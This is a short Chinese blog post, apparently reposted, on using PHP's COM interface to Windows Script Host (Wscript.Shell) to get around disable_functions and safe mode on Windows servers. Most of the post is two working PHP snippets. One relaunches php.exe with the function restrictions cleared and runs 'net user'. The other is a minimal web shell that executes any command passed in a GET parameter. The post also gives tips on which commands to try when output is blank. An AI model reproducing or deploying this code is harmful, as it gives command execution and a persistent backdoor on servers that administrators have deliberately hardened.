php利用wsh突破函数禁用执行命令(安全模式同理)

本文介绍了一种在Windows服务器上使用PHP与WSH组件执行命令的方法,即使在某些命令被禁用的情况下也能实现。文章提供了两种突破代码示例,并解释了如何测试命令执行的成功与否。

很多时候有些windows的服务器是支持wsh组建的,但是却执行不了命令,asp下执行被拒绝,php下执行报错,此时你可以借鉴以下的方法尝试。

php利用wsh突破函数禁用执行命令(安全模式同理)
条件说明:

需要服务器是windows并支持wsh组建.且知道php安装目录
php在IIS环境下利用wsh执行命令是没有asp的权限高的。如果在apache环境下,apache默认都是system或administrator权限。


  测试是否可以执行命令的时候,如果回显空白,可以多尝试一些命令,比如set,whoami,等等,因为有时候有些命令被禁用的,比如net类或者ipconfig命令就经常被禁用。

 

 突破代码如下:

<?php
$cmd='net user';
$path = 'C:\\PHP\\php.exe';
$cmd='-r "system(\''.$cmd.'\');" -d disable_functions = ';

//重新定义disable_functions函数
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec($path.' '.$cmd);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo "${stroutput}\n";
?>

 或者:

<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");  
$exec=$phpwsh->exec("cmd.exe /c ".$_GET['c']."");  
$stdout = $exec->StdOut();  
$stroutput = $stdout->ReadAll();  
echo $stroutput;  
?>

 

转载于:https://www.cnblogs.com/hookjoy/p/4162186.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值